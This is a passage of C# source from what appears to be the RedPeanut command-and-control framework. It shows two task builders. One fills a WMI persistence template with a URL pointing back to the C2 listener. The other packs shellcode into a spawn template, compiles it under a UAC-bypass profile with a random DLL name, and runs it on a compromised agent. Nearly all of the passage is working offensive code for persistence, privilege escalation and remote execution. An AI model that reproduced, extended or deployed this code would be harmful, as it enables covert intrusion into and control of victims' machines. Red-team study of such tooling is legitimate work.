string url = string.Format("{0}://{1}:{2}/{3}{4}", proto, ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), uricontent, filename + ".ps1");
string perssrc = File.ReadAllText(Path.Combine(folderrpath, PERSWMI_TEMPLATE));
perssrc = Replacer.ReplacePersWMI(perssrc, eventname, url, processname, encoded);
RunAssemblyBase64(
Convert.ToBase64String(
CompressGZipAssembly(
Builder.BuidStreamAssembly(perssrc, RandomAString(10, new Random()).ToLower() + ".dll", 40, compprofile: CompilationProfile.Persistence)
)
),
"PersWMI",
new string[] { " " },
agent);
return;
}
}
catch (Exception e)
{
Console.WriteLine("[x] Error generating task {0}", e.Message);
}
}
private void Run()
{
try
{
string host = ((AgentInstanceHttp)agent).GetAddress();
int port = ((AgentInstanceHttp)agent).GetPort();
int profileid = ((AgentInstanceHttp)agent).GetProfileid();
int targetframework = ((AgentInstanceHttp)agent).TargetFramework;
string pipename = "";
if (agent.Pivoter != null)
{
host = agent.Pivoter.SysInfo.Ip;
port = 0;
profileid = RedPeanutC2.server.GetDefaultProfile();
targetframework = agent.TargetFramework;
pipename = agent.AgentId;
}
else
{
host = ((AgentInstanceHttp)agent).GetAddress();
port = ((AgentInstanceHttp)agent).GetPort();
profileid = ((AgentInstanceHttp)agent).GetProfileid();
targetframework = agent.TargetFramework;
}
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid))
{
string source;
string binfilepath = Path.Combine(folderrpath, SHELLCODE_FOLDER, filename);
source = File.ReadAllText(Path.Combine(folderrpath, SPAWN_TEMPLATE))
.Replace("#NUTCLR#", null)
.Replace("#TASK#", null)
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profileid).Spawn)
.Replace("#SHELLCODE#", Convert.ToBase64String(CompressGZipAssembly(File.ReadAllBytes(binfilepath))))
.Replace("#USERNAME#", null)
.Replace("#PASSWORD#", null)
.Replace("#DOMAIN#", null)
.Replace("#PROCESS#", process);
string spawnprocess = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass)));
RunAssemblyBase64(
spawnprocess,
"RedPeanutSpawn",
new string[] { " " },
agent);
}
}
catch (Exception)
{
Console.WriteLine("[*] Error generating task");
}
}
